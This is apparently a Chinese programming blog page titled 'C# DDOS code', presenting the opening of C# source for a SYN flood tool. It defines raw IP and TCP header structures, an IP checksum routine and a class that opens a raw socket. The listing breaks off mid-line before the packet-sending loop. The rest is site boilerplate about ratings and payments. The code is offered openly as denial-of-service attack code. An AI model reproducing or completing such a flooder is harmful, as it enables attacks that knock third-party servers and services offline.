c#DDOS代码

  1 //在工程属性中设置"允许不安全代码"为true 
  2 ?using System; 
  3 using System.Net; 
  4 using System.Net.Sockets; 
  5 using System.Threading; 
  6 //需要的命名空间不用解释了吧 
  7 namespace syn 
  8 { 
  9     public struct ipHeader 
 10     { 
 11         public byte ip_verlen; //4位首部长度+4位IP版本号 
 12         public byte ip_tos; //8位服务类型TOS 
 13         public ushort ip_totallength; //16位数据包总长度(字节) 
 14         public ushort ip_id; //16位标识 
 15         public ushort ip_offset; //3位标志位 
 16         public byte ip_ttl; //8位生存时间 TTL 
 17         public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) 
 18         public ushort ip_checksum; //16位IP首部校验和 
 19         public uint ip_srcaddr; //32位源IP地址 
 20         public uint ip_destaddr; //32位目的IP地址 
 21     } 
 22     public struct psdHeader 
 23     { 
 24         public uint saddr; //源地址 
 25         public uint daddr; //目的地址 
 26         public byte mbz; 
 27         public byte ptcl; //协议类型 
 28         public ushort tcpl; //TCP长度 
 29     } 
 30     public struct tcpHeader 
 31     { 
 32         public ushort th_sport; //16位源端口 
 33         public ushort th_dport; //16位目的端口 
 34         public int th_seq; //32位序列号 
 35         public uint th_ack; //32位确认号 
 36         public byte th_lenres; //4位首部长度/6位保留字 
 37         public byte th_flag; //6位标志位 
 38         public ushort th_win; //16位窗口大小 
 39         public ushort th_sum; //16位校验和 
 40         public ushort th_urp; //16位紧急数据偏移量 
 41     } 
 42     //这3个是ip首部tcp伪首部tcp首部的定义。 
 43     public class syn 
 44     { 
 45         private uint ip; 
 46         private ushort port; 
 47         private EndPoint ep; 
 48         private Random rand; 
 49         private Socket sock; 
 50         private ipHeader iph; 
 51         private psdHeader psh; 
 52         private tcpHeader tch; 
 53         public UInt16 checksum(UInt16[] buffer, int size) 
 54         { 
 55             Int32 cksum = 0; 
 56             int counter; 
 57             counter = 0; 
 58 ? 
 59             while (size > 0) 
 60             { 
 61                 UInt16 val = buffer[counter]; 
 62 ? 
 63                 cksum += Convert.ToInt32(buffer[counter]); 
 64                 counter += 1; 
 65                 size -= 1; 
 66             } 
 67 ? 
 68             cksum = (cksum >> 16) + (cksum & 0xffff); 
 69             cksum += (cksum >> 16); 
 70             return (UInt16)(~cksum); 
 71         } 
 72         //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样 
 73         public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand) 
 74         { 
 75             ip = _ip; 
 76             port = _port; 
 77             ep = _ep; 
 78             rand = _rand; 
 79             ipHeader iph = new ipHeader(); 
 80             psh = new psdHeader(); 
 81             tch = new tcpHeader(); 
 82             sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolTyp
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值